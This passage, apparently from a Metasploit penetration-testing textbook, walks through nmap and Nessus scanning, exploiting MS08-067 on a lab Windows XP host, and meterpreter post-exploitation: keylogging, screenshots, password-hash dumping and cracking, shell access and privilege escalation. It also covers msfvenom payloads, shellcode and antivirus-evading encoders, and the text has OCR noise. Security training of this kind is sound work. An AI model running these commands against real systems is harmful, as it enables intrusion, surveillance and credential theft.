Starting export of workspace default to /root/Desktop/msfdb_backup [ xml 1.
>> Starting export of report
>> Starting export of hosts
>> Starting export of events
>> Starting export of services
>> Starting export of web sites
>> Starting export of web pages
>> Starting export of web forms
>> Starting export of web vulns
>> Starting export of module details
>> Finished export of report
Fiiished export of workspace default to /root/Desktop/msfdb_backup [ xml J...

[’

[*
[*
[*
[*
[*
m

NMAP

NMAP, an acronym for Network Mapper, is an extremely advanced tool that can be used
for the following purposes:

¢ Host discovery
e Service detection
e Version enumeration

Vulnerability scanning

Firewall testing and evasion

NMAP is a tool with hundreds of parameters to configure and covering it completely is
beyond the scope of this book. However, the following table will help you to know some of
the most commonly required NMAP switches:

Sr. no. | NMAP switch Purpose

1. -sT Perform a connect (TCP) scan

2 -sU Perform a scan to detect open UDP ports

3. —-sP Perform a simple ping scan

4 -A Perform an aggressive scan (includes stealth syn scan and
OS and version detection plus traceroute and scripts)

5. -sV Perform service version detection
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6 -v Print verbose output

7. -p 1-1000 Scan ports only in range 1 to 1000

8 -0 Perform OS detection

9 —-iL <filename> Scan all hosts from the file specified in <filename>

10. —oX Output the scan results in the XML format

11. -0oG Output the scan results in the greppable format

12. --script Execute the script specified in <script_name> against
<script_name> the target

For example: nmap -sT -sV -0 192.168.44.129 -oX /root/Desktop/scan.xml.

The preceding command will perform a connect scan on the IP address 192.168.44.129,
detect the version of all the services, identify which operating system the target is running
on, and save the result to an XML file at the path /root /Desktop/scan.xml.

NMAP scanning approach

We have seen in the previous section that the Metasploit Framework offers a functionality
to import scans from tools such as NMAP and Nessus. However, there is also an option to
initiate the NMAP scan from within the Metasploit Framework. This will instantly store the
scan results in the backend database.
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However, there isn't much difference between the two approaches and is just a matter of
personal choice.

Scanning from msfconsole: The db_nmap command, as shown in the following
screenshot, initiates an NMAP scan from within the Metasploit Framework. Once
the scan is complete, you can simply use the hosts command to list the target
scanned.

st

root@kali: ~ (- C]

Edit View Search Terminal Help
> db nmap -sT -0 192.168.44.129

Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :
Nmap :

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-05-03 21:40 EDT
Nmap scan report for 192.168.44.129

Host is up (0.00848s latency)

Not shown: 996 filtered ports

PORT STATE SERVICE

139/tcp open netbios-ssn

445/tcp open  microsoft-ds

2869/tcp closed icslap

3389/tcp open ms-wbt-server

MAC Address: 00:0C:29:D3:42:04 (VMware)
Device type: general purpose

Running: Microsoft Windows XP

0S CPE: cpe:/o:microsoft:windows_xp::sp3
0S details: Microsoft Windows XP SP3
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.49 seconds

> hosts

> 1l

client

Nessus

Nessus is a popular vulnerability assessment tool that we have already seen in Chapter 1,
Introduction to Metasploit and Supporting Tools. Now, there are two alternatives of using
Nessus with Metasploit, as follows:

e Perform a Nessus scan on the target system, save the report, and then import it
into the Metasploit Framework using the db_import command as discussed
earlier in this chapter

¢ Load, initiate, and trigger a Nessus scan on the target system directly through
msfconsole as described in the next section
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Scanning using Nessus from msfconsole

Before we start a new scan using Nessus, it is important to load the Nessus plugin in
msfconsole. Once the plugin is loaded, you can connect to your Nessus instance using a
pair of credentials, as shown in the next screenshot.

Before loading nessus in msfconsole, make sure that you start the
Nessus daemon using the /etc/init.d/nessusd start command.

root@kali: ~ e ® 0
File Edit View Search Terminal Help

st > load nessus

*] Nessus Bridge for Metasploit

*] Type nessus_help for a command listing
*] Successfully loaded plugin: Nessus

st > nessus_connect sagar:sagar@localhost

[*] Connecting to https://localhost:8834/ as sagar
[*] User sagar authenticated successfully.
msf >

Once the nessus plugin is loaded, and we are connected to the nessus service, we need to
select which policy we will use to scan our target system. This can be performed using the
following commands:

msf> nessus_policy_list -
msf> nessus_scan_new <Policy_UUID>

msf> nessus_scan_launch <Scan ID>

You can also see this in the following screenshot:

root@kali: ~ e e 0
File Edit View Search Terminal Help

msf > nessus_policy list
Policy ID Name Policy UUID

msf > nessus_scan_new 73la8e52-3eab-a291-ecba-d2ff0619c19d7bd788d6be818b65 test test 192.168.44.129

[*] Creating scan from policy number 731a8e52-3ea6-a291-ecBa-d2ff0619c19d7bd788d6be818b65, called test - test and scanning 192.168.44.129
[*] New scan added

[*] Use nessus_scan_launch 8 to launch the scan

Scan ID Scanner ID Policy ID Targets Owner

192.168.44.129 sagar

msf > nessus_scan_Ll

nessus_scan_launch nessus_scan_list

msf > nessus_scan_launch 8

[+] Scan ID 8 successfully launched. The Scan UUID is 69b85d5f-5a5d-28dd-5c96-5e6b56a2341307487923fdlafd8a
msf > nessus_scan_stop

nessus_scan_stop nessus_scan_stop_all

msf >
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After some time, the scan is completed, and we can view the scan results using the
following command:

msf> nessus_report_vulns <Scan ID>

You can also see this in the following screenshot:

root@kali: ~ [ I <]
File Edit View Search Terminal Help

msf > nessus_report_hosts

[*] Usage:

[*] nessus_report_hosts <scan ID> -S searchterm

[*] Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported
msf > nessus_report_hosts 8

Host ID Hostname % of Critical Findings % of High Findings % of Medium Findings % of Low Findings
192.168.44.129 3

msf > nessus_report_vulns
*] Usage:

1 nessus_report_vulns <scan ID>

] Use nessus_scan_list to get a list of all the scans. Only completed scans can be reported

f > nessus_report_vulns 8

Plugin ID Plugin Name
Plugin Family Vulnerability Count

Windows NetBIOS / SMB Remote Host Information Disclosure
Windows 1
Traceroute Information
General 1
Microsoft Windows SMB Log In Possible
Windows 1
Microsoft Windows SMB LanMan Pipe Server Listing Disclosure
Windows
Microsoft Windows SMB NativelLanManager Remote System Information Disclosure
Windows
Windows Terminal Services Enabled
Windows 1
Microsoft Windows SMB Service Detection
Windows 2
Nessus SYN scanner
Port scanners 3
0S Identification
General 1

Vulnerability detection with Metasploit
auxiliaries

We have seen various auxiliary modules in the last chapter. Some of the auxiliary modules
in the Metasploit Framework can also be used to detect specific vulnerabilities. For
example, the following screenshot shows the auxiliary module to check whether the target
system is vulnerable to the MS12-020 RDP vulnerability:
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root@kali: ~ e ® O
File Edit View Search Terminal Help

mst > use auxiliary/scanner/rdp/msl2 020 check
msf auxiliary( ) = show options

Module options (auxiliary/scanner/rdp/msl2 020 check):
Name Current Setting Required Description
RHOSTS The target address range or CIDR identifier
RPORT 3389 yes Remote port running RDP
THREADS 1 yes The number of concurrent threads
msT auxiliary( ) > set RHOSTS 192.168.44.129

RHOSTS => 192.168.44.129
msf auxiliary( ) = run

[+] 192.168.44.129:3389 - 192.168.44.129:3389 - The target is vulnerable.
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > 1

Auto exploitation with db_autopwn

In the previous section, we have seen how the Metasploit Framework helps us import scans
from various other tools such as NMAP and Nessus. Now, once we have imported the scan
results into the database, the next logical step would be to find exploits matching the
vulnerabilities/ports from the imported scan. We can certainly do this manually; for
instance, if our target is Windows XP and it has TCP port 445 open, then we can try out the
MS08_67 netapi vulnerability against it.

The Metasploit Framework offers a script called db_autopwn that automates the exploit
matching process, executes the appropriate exploit if match found, and gives us remote
shell. However, before you try this script, a few of the following things need to be
considered:

e The db_autopwn script is officially depreciated from the Metasploit Framework.
You would need to explicitly download and add it to your Metasploit instance.

e This is a very resource-intensive script since it tries all permutations and
combinations of vulnerabilities against the target, thus making it very noisy.

e This script is not recommended anymore for professional use against any

production system; however, from a learning perspective, you can run it against
any of the test machines in the lab.
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The following are the steps to get started with the db_autopwn script:
1. Open a terminal window, and run the following command:

wget https://raw.githubusercontent.com
/jeffbryner/kinectasploit/master/db_autopwn.rb

2. Copy the downloaded file to the /usr/share/metasploit-
framework/plugins directory.

3. Restart msfconsole.
4. Inmsfconsole, type the following code:

msf> use db_autopwn

5. List the matched exploits using the following command:
msf> db_autopwn -p -t

6. Exploit the matched exploits using the following command:

msf> db_autopwn -p -t -e

Post exploitation

Post exploitation is a phase in penetration testing where we have got limited (or full) access
to our target system, and now, we want to search for certain files, folders, dump user
credentials, capture screenshots remotely, dump out the keystrokes from the remote
system, escalate the privileges (if required), and try to make our access persistent. In this
section, we'll learn about meterpreter, which is an advanced payload known for its feature-
rich post-exploitation capabilities.

What is meterpreter?

Meterpreter is an advanced extensible payload that uses an in-memory DLL injection. It
significantly increases the post-exploitation capabilities of the Metasploit Framework. By
communicating over the stager socket, it provides an extensive client-side Ruby APIL. Some
of the notable features of meterpreter are as follows:
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¢ Stealthy: Meterpreter completely resides in the memory of the compromised
system and writes nothing to the disk. It doesn't spawn any new process; it injects
itself into the compromised process. It has an ability to migrate to other running
processes easily. By default, Meterpreter communicates over an encrypted
channel. This leaves a limited trace on the compromised system from the forensic
perspective.

¢ Extensible: Features can be added at runtime and are directly loaded over the
network. New features can be added to Meterpreter without having to rebuild it.
The meterpreter payload runs seamlessly and very fast.

The following screenshot shows a meterpreter session that we obtained by exploiting the
ms08_067_netapi vulnerability on our Windows XP target system.

Before we use the exploit, we need to configure the meterpreter payload
by issuing the use payload/windows/meterpreter/reverse_tcp
command and then setting the value of the LHOST variable.

root@kali: ~ e ® 0
File Edit View Search Terminal Help

msf payload( ) > use exploit/windows/smb/ms@8_067 netapi
msf exploit( ) > show options

Module options (exploit/windows/smb/ms@8 067 netapi)
EE] Current Setting Required Description
The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:

Id Name

0  Automatic Targeting

msf exploit( ) > set RHOST 192.168.44.129
HOST => 192.168.44.129
st exploit( ) > run

Started reverse TCP handler on 192.168.44.134:4444
192.168.44.129:445 - Automatically detecting the target...
] 192.168.44.129:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
] 192.168.44.129:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
*1 192.168.44.129:445 - Attempting to trigger the vulnerability...
*] Sending stage (957999 bytes) to 192.168.44.129
Meterpreter session 1 opened (192.168.44.134:4444 -> 192.168.44.129:1049) at 2017-05-03 21:56:27 -0

meterpreter > || |
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Searching for content

Once we have compromised our target system, we might want to look out for specific files
and folders. It all depends on the context and intention of the penetration test. The
meterpreter offers a search option to look for files and folders on the compromised system.
The following screenshot shows a search query looking for confidential text files located on
C drive:

root@kali: ~ [— IO < ]
File Edit View Search Terminal Help
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.

OPTIONS:

-d <opt> The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
A file pattern glob to search for. (e.g. *secret*.doc?)
Help Banner.
Recursivly search sub directories. (Default: true)

meterpreter > search -d C:/ - conf*.txt
Found 1 result...

C:\Confidential.txt (28 bytes)
meterpreter > |

Screen capture

Upon a successful compromise, we might want to know what activities and tasks are
running on the compromised system. Taking a screenshot may give us some interesting
information on what our victim is doing at that particular moment. In order to capture a
screenshot of the compromised system remotely, we perform the following steps:

1. Use the ps command to list all processes running on the target system along with
their PIDs.

2. Locate the explorer.exe process, and note down its PID.

3. Migrate the meterpreter to the explorer.exe process, as shown in the following
screenshot:
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File Edit View Search Terminal

Process List

PPID

2]
¢]
728
728
728

uthService.exe
4

536

604 536

628 536
628

1148
1536
exe

Help

Name

[System Process]
System

FileZilla server.exe
hMailServer.exe
VGAuthService.exe

SmSs. exe
srss.exe
winlogon.exe
services.exe
1sass.exe
vmacthlp.exe
svchost.exe
wmiprvse.exe
svchost.exe
svchost.exe
svchost.exe
vmtoolsd.exe
svchost.exe
explore xe
spoolsv.exe
rundll32.exe
vmtoolsd.exe
svchost.exe
alg.exe
wscntfy.exe
FileZilla Server Interface.exe x86

meterpreter > migrate 1536
[*] Migrating from 1148 to 1536
[*] Migration completed successfully.

root@kali: ~

NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
SAGAR-C51B4AADE\shareuser

NT AUTHORITY\SYSTEM
SAGAR-C51B4AADE\shareuser
SAGAR-C51B4AADE\shareuser

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\LOCAL SERVICE
SAGAR-C51B4AADE\shareuser
SAGAR-C51B4AADE\shareuser

Path

C:\Program Files\FileZilla Server\FileZilla Server.exe
C:\Program Files\hMailServer\Bin\hMailServer.exe
C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGA

\SystemRoot\System32\smss.exe
\?\C:\WINDOWS\system32\csrss.exe
\?7\C:\WINDOWS\system32\winlogon.exe
:\WINDOWS\system32\services.exe
\WINDOWS\system32\1lsass.exe
:\Program Files\VMware\VMware Tools\vmacthlp.exe
:\WINDOWS\system32\svchost.exe
A\WINDOWS\ system32\wbem\wmiprvse.exe
: \WINDOWS\ system32\svchost.exe
:\WINDOWS\System32\svchost.exe
:\WINDOWS\system32\svchost.exe
\Program Files\VMware\VMware Tools\vmtoolsd.exe
:\WINDOWS\system32\svchost.exe
:\WINDOWS\Explorer.EXE
\WINDOWS\system32\spoolsv.exe
: \WINDOWS\system32\rund1132.exe
:\Program Files\VMware\VMware Tools\vmtoolsd.exe
:\WINDOWS\system32\svchost.exe
:\WINDOWS\System32\alg.exe
:\WINDOWS\system32\wscntfy.exe
:\Program Files\FileZilla Server\FileZilla Server Int

Once we have migrated meterpreter to explorer.exe, we load the espia plugin and then
fire the screengrab command, as shown in the following screenshot:

File Edit View Search Terminal

Help

meterpreter > use espia
Loading extension espia...success.

meterpreter > screengrab
Screenshot saved to: /r
meterpreter >

ot/I

root@kali: ~
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The screenshot of our compromised system is saved (as follows), and we can notice that the
victim was interacting with the FileZilla Server:

FZ FileZilla Server (127.0.0.1)

File Server Edit ?

& BEB8 T e @
FileZila Server version 0.9 40 beta
Copyrioht 2001-2011 by Tim Kesse (tim. kosse@fiezllaproiect. orgl
Connecting to server.
Connected, waiting for authentication
Logged on

Account P Transfer Progress  Speed

0 bytesreceived 0Bfs  Obytessent 0E/s

| fZ % W' O 740 Al

Keystroke logging

Apart from screenshot, another very useful meterpreter feature is keylogging. The
meterpreter keystroke sniffer will capture all the keys pressed on the compromised system
and dump out the results on our console. The keyscan_start command is used to initiate
remote keylogging on the compromised system, while the keyscan_dump command is
used to dump out all the captured keystrokes to the Metasploit console:

root@Kkali: ~ o ® 6
File Edit View Search Terminal Help

meterpr

Dump
demo.
meterpreter
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Dumping the hashes and cracking with JTR

Windows stores the user credentials in an encrypted format in its SAM database. Once we
have compromised our target system, we want to get hold of all the credentials on that
system. As shown in the following screenshot, we can use the
post/windows/gather/hashdump auxiliary module to dump the password hashes from
the remote compromised system:

root@kali: ~ o6

File Edit View Search Terminal Help

msf exploit( ) > use post/windows/gather/hashdump
mst post( ) > show options

Module options (post/windows/gather/hashdump):

Name Current Setting Required Description

SESSION The session to run this module on.
) > set SESSION 8
) = run

Obtaining the boot key...

Calculating the hboot key using SYSKEY bba8dcdda46374afef9c333afe782bdl...
Obtaining the user list and keys...

Decrypting user keys...

Dumping password hints...

test:"temp"

[*] Dumping password hashes..

Administrator:500:ce0f39elcfefllaclaa81838lede281b:b4dbbab797275ab845197F76082TcB6TT: 1 :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0cO89cO: : :
HelpAssistant:1000:1dfb83c2aeb861b2cec506cca3l8fce7:812db87elc4823dca8571327767eblbad: : :
SUPPORT 388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9b7dc3244a07215161926d983a168d5d: : :
shareuser:1003:aad3b435b51404eeaad3b435b51404ee:31d6cTefd16ae931b73c59d7e0cO89cO: : :
test:1004:624aac413795cdclff17365faflffe89:3blb47e42e0463276e3ded6ecef349793: 1 :

[*] Post module execution completed
msf post( ) > 11

Once we have a dump of credentials, the next step is to crack them and retrieve clear text
passwords. The Metasploit Framework has an auxiliary module
auxiliary/analyze/jtr_crack_fast that triggers password cracker against the
dumped hashes.
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Upon completion, the module displays clear text passwords, as shown in the following
screenshot:

jtris an acronym for John the Ripper, the most commonly used password
cracker.

root@kali: ~ [ I <]

File Edit View Search Terminal Help
msf post( ) > use auxiliary/analyze/jtr_crack fast
msf auxiliary( ) > run

[*] Wordlist file written out to /tmp/jtrtmp20170503-1845-1cr797n

[*] Hashes Written out to /tmp/hashes_ tmp20170503-1845-d78gie

[*] Cracking lm hashes in normal wordlist mode

Created directory: /root/.john

[*] Loaded 7 password hashes with no different salts (LM [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status

[*] 3 (administrator:2)

[*] 4 (test:2)

[*] TEST123 (test:1)

3g 0:00:00:00 DONE (Wed May 3 22:29:20 2017) 50.00g/s 1286Kp/s 1286Kc/s 5172KC/s ZITA..TUDE
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably

Session completed

[*] Cracking lm hashes in single mode..

[*] Loaded 7 password hashes with no different salts (LM [DES 128/128 SSE2])

[*] Remaining 4 password hashes with no different salts

Press 'q' or Ctrl-C to abort, almost any other key for status

0g 0:00:00:05 DONE (Wed May 3 22:29:26 2017) ©g/s 2765Kp/s 2765Kc/s 11063KC/s WYE1900..E1900
Session completed

[*] Cracking lm hashes in incremental mode (Al14).

[*] Loaded 7 password hashes with no different salts (LM [DES 128/128 SSE2])

[*] Remaining 4 password hashes with no different salts

fopen: /usr/share/john/all.chr: No such file or directory

[*] Cracking lm hashes in incremental mode (Digits)

Warning: MaxLen = 8 is too large for the current hash type, reduced to 7

[*] Loaded 7 password hashes with no different salts (LM [DES 128/128 SSE2])

[*] Remaining 4 password hashes with no different salts

Press 'q' or Ctrl-C to abort, almost any other key for status

0g 0:00:00:00 DONE (Wed May 3 22:29:27 2017) ©g/s 13071Kp/s 13071Kc/s 52287KC/s 0769790..0769743
Session completed

[*] Cracked Passwords this run:

[*] Cracking nt hashes in normal wordlist mode...

[*] Loaded 5 password hashes with no different salts (NT [MD4 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status

[*] testl234 [§=539)]

Shell command

Once we have successfully exploited the vulnerability and obtained meterpreter access, we
can use the shell command to get command prompt access to the compromised system (as
shown in the following screenshot). The command prompt access will make you feel as if
you are physically working on the target system:
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root@kali: ~

File Edit View Search Terminal Help
meterpreter > shell

Process 1328 created.

Channel 2 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd ..
cd: ...

C:\WINDOWS>cd ..
cd ..

C:hv>dir /w

dir /w

Volume in drive C has no label.
Volume Serial Number is DO7JE-2DDD

Directory of C:\

AUTOEXEC . BAT Confidential.txt CONFIG.SYS
[Documents and Settings] [maradns-2-©-13-win32] [Program Files]
[WINDOWS]

3 File(s) 28 bytes

4 Dir(s) 17,739,689,984 bytes free

>l

Privilege escalation

We can exploit a vulnerability and get remote meterpreter access, but it's quite possible that
we have limited privileges on the compromised system. In order to ensure we have full
access and control over our compromised system, we need to elevate privileges to that of an
administrator. The meterpreter offers functionality to escalate privileges as shown in the
following screenshot. First, we load an extension called priv, and then use the getsystem

command to escalate the privileges.
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We can then verify our privilege level using the getuid command:

root@kali: ~ o6

File Edit View Search Terminal Help

meterpreter > use priv
The 'priv' extension has already been loaded.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo

SAGAR-C51B4AADE

: Windows XP (Build 2600, Service Pack 3).
Architecture ¢ %86
System Language : en_US
Domain : MSHOME
Logged On Users : 2
Meterpreter : x86/win32
meterpreter > |

Summary

In this chapter, you learned how to set up the Metasploit database and then explored
various techniques of vulnerability scanning using NMAP and Nessus. We concluded by
getting to know the advanced post-exploitation features of the Metasploit Framework. In
the next chapter, we'll learn about the interesting client-side exploitation features of the
Metasploit Framework.

Exercises

You can try the following exercises:

e Find out and try to use any auxiliary module that can be used for vulnerability
detection

e Try to explore various features of meterpreter other than those discussed in this
chapter

e Try to find out if there is any alternative to db_autopwn
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In the previous chapter, we learned to use various tools such as NMAP and Nessus to
directly exploit vulnerabilities in the target system. However, the techniques that we
learned are useful if the attacker's system and the target system are within the same
network. In this chapter, we'll see an overview of techniques used to exploit systems, which
are located in different networks altogether. The topics to be covered in this chapter are as
follows:

Understanding key terminology related to client-side attacks

Using msfvenom to generate custom payloads

Using Social-Engineering Toolkit

Advanced browser-based attacks using the browser_autopwn ;auxiliary module

Need of client-side attacks

In the previous chapter, we used the MS08_067net api vulnerability in our target system
and got complete administrator-level access to the system. We configured the value of the
RHOST variable as the IP address of our target system. Now, the exploit was successful
only because the attacker's system and the target system both were on the same network.
(The IP address of attacker's system was 192.168.44.134 and the IP address of target
system was 192.168.44.129).
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This scenario was pretty straightforward as shown in the following diagram:

sends exploit code with Payload

Reverse Meterpreter Shell

ATTACKER VICTIM
1P Address - 192.168.1.10 IP Address - 192.168.1.23

Now, consider a scenario shown in the following diagram. The IP address of the attacker
system is a public address and he is trying to exploit a vulnerability on a system, which is
not in same network. Note, the target system, in this case, has a private IP address
(10.11.1.56) and is NAT'ed behind an internet router (88.43.21. 9x). So, there's no
direct connectivity between the attacker's system and the target system. By setting RHOST
to 89.43.21.9, the attacker can reach only the internet router and not the desired target
system. In this case, we need to adopt another approach for attacking our target system
known as client-side attacks:

Internet Router - NAT
IP Address - 89.43.21.9

@

ATTACKER VICTIM
IP Address - 201.45.67.89 IP Address - 10.11.1.56

What are client-side attacks?

As we have seen in the preceding section, if the target system is not in the same network as
that of the attacker, then the attacker cannot reach the target system directly. In this case,
the attacker will have to send the payload to the target system by some other means. Some
of the techniques for delivering the payload to the target system are:
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1. The attacker hosts a website with the required malicious payload and sends it to
the victim.

2. The attacker sends the payload embedded in any innocent looking file such as
DOC, PDF, or XLS to the victim over email.

3. The attacker sends the payload using an infected media drive (such as USB flash
drive, CD, or DVD)

Now, once the payload has been sent to the victim, the victim needs to perform the required
action in order to trigger the payload. Once the payload is triggered, it will connect back to
the attacker and give him the required access. Most of the client-side attacks require the
victim to perform some kind of action or other. ;

The following flowchart summarizes how client-side attacks work:

( Generate a Payload )
using msfvenom

£ Y
Start listener to handle
incoming connections

| Send payload to victim |

[ Wait for reverse session ]

What is a Shellcode?

Let's break the word shellcode into shell and code. In simple terms, a shellcode is a code
that is designed to give a shell access of the target system. Practically, a shellcode can do lot
more than just giving shell access. It all depends on what actions are defined in the
shellcode. For executing client-side attacks, we need to choose the precise shellcode that will
be part of our payload. Let's assume, there's a certain vulnerability in the target system, the
attacker can write a shellcode to exploit that vulnerability. A shell code is a typically hex
encoded data and may look like this:

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6¢\x6c\x20\x20\x68\x33"
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"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80"
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0";

What is a reverse shell?

A reverse shell is a type of shell, which, upon execution, connects back to the attacker's
system giving shell access.

What is a bind shell?

A bind shell is a type of shell, which, upon execution, actively listens for connections on a
particular port. The attacker can then connect to this port in order to get shell access.

What is an encoder?

The msfvenom utility would generate a payload for us. However, the possibility of our
payload getting detected by antivirus on the target system is quite high. Almost all industry
leading antivirus and security software programs have signatures to detect Metasploit
payloads. If our payload gets detected, it would render useless and our exploit would fail.
This is exactly where the encoder comes to rescue. The job of the encoder is to obfuscate the
generated payload in such a way that it doesn't get detected by antivirus or similar security
software programs.

The msfvenom utility

Earlier, the Metasploit Framework offered two different utilities, namely, ;ms fpayload and
msfencode. The msfpayload was used to generate a payload in a specified format and the
msfencode was used to encode and obfuscate the payload using various algorithms.
However, the newer and the latest version of the Metasploit Framework has combined both
of these utilities into a single utility called msfvenom.
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The msfvenom utility can generate a payload as well as encode the same in a single
command. We shall see a few commands next:

The msfvenomis a separate utility and doesn't require msfconsole to be
running at same time.

e List payloads: The ms fvenom utility supports all standard Metasploit payloads.
We can list all the available payloads using the msfvenom --list payloads
command as shown in the following screenshot:

File Edit View Search Terminal Help
:~# msfvenom --list payloads

Framework Payloads (455 total)

aix/ppc/shell

aix/ppc/shell_
aix/ppc/shell_reverse_tcp
android/meterpreter/reverse_http
android/meterpreter/reverse https
android/meterpreter/reverse_tcp
android/shell/reverse http
android/shell/reverse_https
android/shell/reverse tc
bsd/sparc/shell_bind_tcp
bsd/sparc/shell_reverse_tcp
bsd/x64/exec
bsd/x64/shell_bind_ipvé_tcp
bsd/x64/shell_bind tcp
bsd/x64/shell_bind_tcp_small
bsd/x64/shell_reverse_ipv6_tcp
bsd/x64/shell_reverse tcp
bsd/x64/shell_reverse tcp_small
bsd/x86/exec
bsd/x86/metsvc_bind_tcp
bsd/x86/metsvc_reverse tcp
bsd/x86/shell/bind_ipv6_tcp
bsd/x86/shell/bind_tc
bsd/x86/shell/find tag
bsd/x86/shell/reverse_ipv6_tcp
bsd/x86/shell/reverse_tcp
bsd/x86/shell bind tcp
bsd/x86/shell_bind tcp_ipvé
bsd/x86/shell_find port
bsd/x86/shell find tag

root@kali: ~ e ® 0

Listen for a connection and spawn a command shell

Spawn a shell on an established connectien

Simply execve /bin/sh (for inetd programs)

Connect back to attacker and spawn a command shell

Run a meterpreter server on Android. Tunnel communicatien over HTTP
Run a meterpreter server on Android. Tunnel communication over HTTPS
Run a meterpreter server on Android. Connect back stager

Spawn a piped command shell (sh). Tunnel communication over HTTP
Spawn a piped command shell (sh). Tunnel communication over HTTPS
Spawn a piped command shell (sh). Connect back stager

Listen for a connection and spawn a command shell

Connect back to attacker and spawn a command shell

Execute an arbitrary command

Listen for a connection and spawn a command shell over IPv6

Bind an arbitrary command to an arbitrary port

Listen for a connection and spawn a command shell

Connect back to attacker and spawn a command shell over IPv6
Connect back to attacker and spawn a command shell

Connect back to attacker and spawn a command shell

Execute an arbitrary command

Stub payload for interacting with a Meterpreter Service

Stub payload for interacting with a Meterpreter Service

Spawn a command shell (staged). Listen for a nnection over IPv6
Spawn a command shell (staged). Listen for a connection

Spawn a command shell (staged). Use an established connection
Spawn command shell (staged). Connect back to the attacker over IPv6
Spawn command shell (staged). Connect back to the attacker
Listen for a connection and spawn a command shell

Listen for a connection and spawn a command shell over IPv6

Spawn a shell on an established connection

Spawn a shell on an established connection (proxy/nat safe)

a
a
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e List encoders: As we have discussed earlier, the msfvenom is a single utility,
which can generate as well as encode the payload. It supports all standard
Metasploit encoders. We can list all the available encoders using the msfvenom -
-list encoders ;command, as shown in the following screenshot:

root@kali: ~ e ® 0
File Edit View Search Terminal Help
:~# msfvenom --list encoders

amework Encoders

Name Rank Description

cmd/echo good Echo Command Encoder

cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs Tow Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder

cmd/powershell base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mg manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder

generic/none normal The "none" Encoder

mipsbe/byte xori normal Byte XORi Encoder

mipsbe/longxor normal XOR Encoder

mipsle/byte_xori normal Byte XORi Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 Encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x64/zutto_dekiru manual Zutto Dekiru

x86/add_sub manual Add/Sub Encoder

x86/alpha_mixed Tlow Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper Tow Alpha2 Alphanumeric Uppercase Encoder
x86/avoid underscore tolower manual Avoid underscore/tolower

x86/avoid_utf8_ tolower manual Avoid UTF8/tolower

x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv mov normal Variable-length Fnstenv/mov Dword XOR Encoder

e List formats: While generating a payload, we need to instruct the msfvenom
utility about the file format that we need our payload to be generated in. We can
use the msfvenom —--help formats ;command to view all the supported payload
output formats:

root@kali: ~ e ® O
File Edit View Search Terminal Help
:~# msfvenom --help-formats
Executable formats
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, ms
i, msi-nouac, osx-app, psh, psh-cmd, psh-net, psh-reflection, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, ¢, csharp, dw, dword, hex, java, js be, js le, num, perl, pl, powershell, psl, py, python, raw, rb, ruby, sh, vb
application, vbscript
~# 1
